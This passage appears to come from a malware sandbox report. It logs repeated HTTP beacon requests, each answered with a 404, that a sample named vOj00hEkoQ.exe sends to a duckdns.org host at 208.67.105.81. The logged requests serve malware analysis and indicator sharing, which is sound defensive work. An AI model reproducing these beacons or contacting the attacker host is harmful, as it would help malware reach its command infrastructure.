2022-08-05 10:12:14 UTC	55	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:14 UTC	55	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:14 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:14 UTC	55	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.6	49930	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:14 UTC	55	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:14 UTC	55	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:14 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:14 UTC	56	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.6	49931	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:14 UTC	56	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:14 UTC	56	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:14 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:14 UTC	56	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.6	49932	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:15 UTC	56	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:15 UTC	56	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:15 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:15 UTC	56	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.6	49933	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:15 UTC	57	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:15 UTC	57	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:15 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:15 UTC	57	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.6	49934	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:15 UTC	57	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:15 UTC	57	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:15 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:15 UTC	57	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.6	49935	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:16 UTC	57	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:16 UTC	58	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:16 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:16 UTC	58	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.6	49936	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:16 UTC	58	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:16 UTC	58	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:16 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:16 UTC	58	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.6	49937	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:17 UTC	58	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:17 UTC	58	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:17 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:17 UTC	59	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.6	49777	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:45 UTC	5	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:45 UTC	6	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:45 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:45 UTC	6	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.6	49938	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:18 UTC	59	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:18 UTC	59	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:18 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:18 UTC	59	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.6	49939	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:19 UTC	59	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:19 UTC	59	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:19 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:19 UTC	59	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.6	49940	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:19 UTC	60	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:19 UTC	60	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:19 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:19 UTC	60	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.6	49941	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:19 UTC	60	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:19 UTC	60	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:19 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:19 UTC	60	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.6	49942	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:19 UTC	60	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:20 UTC	61	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:20 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:20 UTC	61	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.6	49943	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:20 UTC	61	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:20 UTC	61	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:20 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:20 UTC	61	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.6	49944	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:20 UTC	61	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:20 UTC	61	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:20 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:20 UTC	62	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.6	49945	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:20 UTC	62	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:20 UTC	62	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:20 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:20 UTC	62	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.6	49946	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:20 UTC	62	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:20 UTC	62	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:20 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:20 UTC	62	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.6	49947	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:21 UTC	63	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:21 UTC	63	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:21 GMT Content-Type: text/html Content-Length: 146 Connection: close
